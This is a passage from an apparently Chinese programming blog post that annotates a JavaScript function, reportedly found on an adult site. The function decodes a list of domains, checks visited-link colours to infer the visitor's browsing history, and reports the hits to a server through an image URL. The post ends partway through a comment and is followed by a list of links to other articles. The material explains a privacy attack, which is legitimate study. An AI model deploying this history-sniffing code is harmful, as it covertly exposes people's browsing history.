悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
js 获取后台的字段 改变 checkbox的被选中的状态 代码
Jun 05 Javascript
浅析JavaScript原型继承的陷阱
Dec 03 Javascript
JavaScript中getUTCMinutes()方法的使用详解
Jun 10 Javascript
详解JavaScript ES6中的Generator
Jul 28 Javascript
jquery调整表格行tr上下顺序实例讲解
Jan 09 Javascript
利用bootstrapValidator验证UEditor
Sep 14 Javascript
微信小程序 实战小程序实例
Oct 08 Javascript
angular2 ng build部署后base文件路径问题详细解答
Jul 15 Javascript
原生JS实现移动端web轮播图详解(结合Tween算法造轮子)
Sep 10 Javascript
Angular实现的日程表功能【可添加及隐藏显示内容】
Dec 27 Javascript
解决mpvue + vuex 开发微信小程序vuex辅助函数mapState、mapGetters不可用问题
Aug 03 Javascript
如何实现双向绑定mvvm的原理实现
May 28 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
如何对PHP程序中的常见漏洞进行攻击
2006/10/09 PHP
队列在编程中的实际应用(php)
2010/09/04 PHP
javascript,php获取函数参数对象的代码
2011/02/03 PHP
php获取文件内容最后一行示例
2014/01/09 PHP
PHP实现下载断点续传的方法
2014/11/12 PHP
laravel中的fillable和guarded属性详解
2019/10/23 PHP
TP5框架安全机制实例分析
2020/04/05 PHP
js 利用className得到对象的实现代码
2011/11/15 Javascript
6款新颖的jQuery和CSS3进度条插件推荐
2013/03/05 Javascript
js 判断控件获得焦点的示例代码
2014/03/04 Javascript
基于jQuery实现交互体验社会化分享代码附源码下载
2016/01/04 Javascript
javascript实现抽奖程序的简单实例
2016/06/07 Javascript
基于jQuery实现左侧菜单栏可折叠功能
2016/12/27 Javascript
Vue Ajax跨域请求实例详解
2017/06/20 Javascript
for循环 + setTimeout 结合一些示例(前端面试题)
2017/08/30 Javascript
Vue中封装input组件的实例详解
2017/10/17 Javascript
使用vuepress搭建静态博客的示例代码
2019/02/14 Javascript
用JavaScript实现贪吃蛇游戏
2020/10/23 Javascript
[04:30]显微镜下的DOTA2第五期——拉比克
2013/09/26 DOTA
在Python下利用OpenCV来旋转图像的教程
2015/04/16 Python
Python如何实现MySQL实例初始化详解
2017/11/06 Python
Python实现XML文件解析的示例代码
2018/02/05 Python
python使用HTMLTestRunner导出饼图分析报告的方法
2019/12/30 Python
Python高阶函数与装饰器函数的深入讲解
2020/11/10 Python
CSS3教程(5):网页背景图片
2009/04/02 HTML / CSS
应届大专毕业生个人自荐信
2013/09/22 职场文书
新闻系毕业生推荐信
2013/11/16 职场文书
办公室主任主任岗位责任制
2014/02/11 职场文书
班组长竞聘书
2014/03/31 职场文书
学位证书委托书
2014/09/30 职场文书
授权委托书协议书
2014/10/16 职场文书
小学生差生评语
2014/12/29 职场文书
2016年万圣节家长开放日活动总结
2016/04/05 职场文书
辞职报告(范文三篇)
2019/08/27 职场文书
java固定大小队列的几种实现方式详解
2021/07/15 Java/Android
面试分析分布式架构Redis热点key大Value解决方案
2022/03/13 Redis